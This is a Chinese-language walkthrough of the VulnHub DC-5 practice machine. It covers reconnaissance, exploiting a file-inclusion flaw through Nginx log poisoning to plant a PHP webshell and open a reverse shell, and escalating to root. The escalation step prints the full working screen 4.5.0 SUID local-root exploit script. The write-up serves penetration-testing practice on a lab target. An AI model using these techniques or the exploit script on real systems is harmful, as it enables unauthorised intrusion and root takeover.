【VulnHub靶機滲透】六:DC-5

VulnHub是一個安全平臺,內含衆多滲透測試的靶場鏡像,只需要下載至本地並在虛擬機上運行,即可得到一個完整的滲透測試練習系統,每一個靶機都有相關目標去完成(萬分感謝提供靶機鏡像的同學)。

文章較臃長,記錄了不斷測試並發現利用的過程。


一、相關簡介

靶機:

該靶機Web處存在文件包含漏洞,本地提權存在screen已知版本漏洞。

  • 名稱:DC-5
  • 系統:Linux Debian
  • 難度:中級
  • 目標:獲得root、拿到flag

環境:

  • 靶機:DC-2——192,168.11.29
  • 攻擊機:Kali——192.168.11.28
  • 工具:Nmap、dirb、BurpSuit、whatweb、cewl、菜刀等

二、滲透步驟

1、信息蒐集

1.1、蒐集

主機發現
在這裏插入圖片描述
Nmap端口服務掃描
在這裏插入圖片描述
Web指紋識別和dirb Web目錄爆破並沒有得到有用信息
在這裏插入圖片描述
dirbuster 掃描到了2個新文件
在這裏插入圖片描述

1.2、總結

主機信息:

  • IP:192.168.11.29
  • OS:Linux Debian
  • Kernel:Linux 3 / Linux 4
  • 80端口:http,Nginx-1.6.2
  • 111端口:RPC,rpcbind 2-4

Web信息:

  • 服務器:Nginx-1.6.2
  • ./contact.php - 200
  • ./faq.php - 200
  • ./index.php - 200
  • ./solutions.php - 200
  • ./footer.php - 200
  • ./about-us.php - 200
  • ./thankyou.php - 200

2、漏洞發現(文件包含)

試着包含以下本地的Nginx日誌,可以看到成功包含
在這裏插入圖片描述

3、文件包含漏洞利用

1)執行phpinfo()函數

得到了日誌文件,日誌的格式如下:

192.168.11.28 - - [23/Apr/2020:09:47:57 +1000] "GET / HTTP/1.0" 200 4025 "-" "-"

每條日誌都會記錄請求方式(GET 或 POST)以及訪問的uri,既然這樣,那就可以抓包將請求方式改爲php代碼,記錄進日誌,然後進行文件包含執行該代碼。

將GET改爲以下的 phpinfo() 代碼:
在這裏插入圖片描述
然後再次訪問之前的文件包含頁面,半酣日誌文件,結果成功執行 phpinfo() 函數,也就是說文件包含並執行代碼成功了
在這裏插入圖片描述
提交數據包後,頁面也有回顯
在這裏插入圖片描述
2)掛馬得到Webshell

既然可以執行,那就可以將php代碼改成php一句話木馬(在uri處改是一樣的),再提交包含,使用蟻劍連接即可,
在這裏插入圖片描述
提交數據包後,使用蟻劍連接
在這裏插入圖片描述
奇怪,蟻劍連接會出現亂碼,有點像是是html實體編碼後的結果
在這裏插入圖片描述
起初還以爲是php馬的問題,重置了好幾次靶機,但是還是不行,直到用菜刀連接。。。
在這裏插入圖片描述
3)利用system() 函數建立反彈shell

ok,那現在就可操作性很大了,傳一個反彈shell馬進去,建立連接。

但是發現不可以上傳和編輯文件,奇怪,換一種思路吧,直接使用php的系統命令函數來建立連接
在這裏插入圖片描述
給 cmd 傳參爲 cat+/etc/passwd ,成功執行了該系統命令
在這裏插入圖片描述
ok,將命令換爲bash的反彈shell,要進行url編碼,在kali上打開nc監聽9999端口,發包即可建立反彈shell
在這裏插入圖片描述
此時已經進入目標主機,需要提權。

4、screen-4.5.0 本地提權

開始提權,查找可寫文件、查看用戶權限皆無果後,借鑑網上的師傅們,使用find來尋找擁有SUID權限的命令,發現了screen命令
在這裏插入圖片描述
在kali上尋找已知版本POC,找到兩個,我們使用.sh那個
在這裏插入圖片描述
並不可以直接使用,需要根據文件內容提示的步驟來提權,內容如下:

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...

具體步驟文件中已經給出,完成後會有以下三個文件:
在這裏插入圖片描述
但是 .sh 文件類型是 dos,需要使用 vi 來改變其類型爲 unix。 set ff 查看當前文件類型是 dos
在這裏插入圖片描述
使用 set ff=unix 改變類型爲 unix
在這裏插入圖片描述
再利用本地服務器將其下載至靶機,最好是 /tmp/ 目錄下,避免無權限。(學到了可以使用python在當前目錄下開啓一個臨時服務器,非常方便!

python -m SimpleHTTPServer 8000

在這裏插入圖片描述
使用wget下載文件
在這裏插入圖片描述
再賦予 .sh 文件執行權限,執行即可提權至root
在這裏插入圖片描述
得到flag
在這裏插入圖片描述

三、知識總結

整體步驟:

  • 通過Web路徑爆破發現Web頁面存在文件包含
  • 利用本地包含和Nginx日誌Getshell
  • 利用screen已知版本漏洞提權至root

知識點:

  • 當掃描不出信息時,可以換一個工具或者換一個字典,比如dirb掃描不到信息,可以使用dirbuster。

  • 當存在文件包含時,如果有本地文件包含,可以靈活利用日誌來進行掛馬,一些服務器的日誌默認路徑:

    Apache:/var/log/apache2/access.log

    Nginx:/var/log/nginx/access.log

    IIS:

    • Windows Server 2003 iis6:
      C:\Windows\System32\LogFiles
    • Windows Server 2008 R2、2012、2016、2019 iis7以上:
      C:\inetpub\logs\LogFiles
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章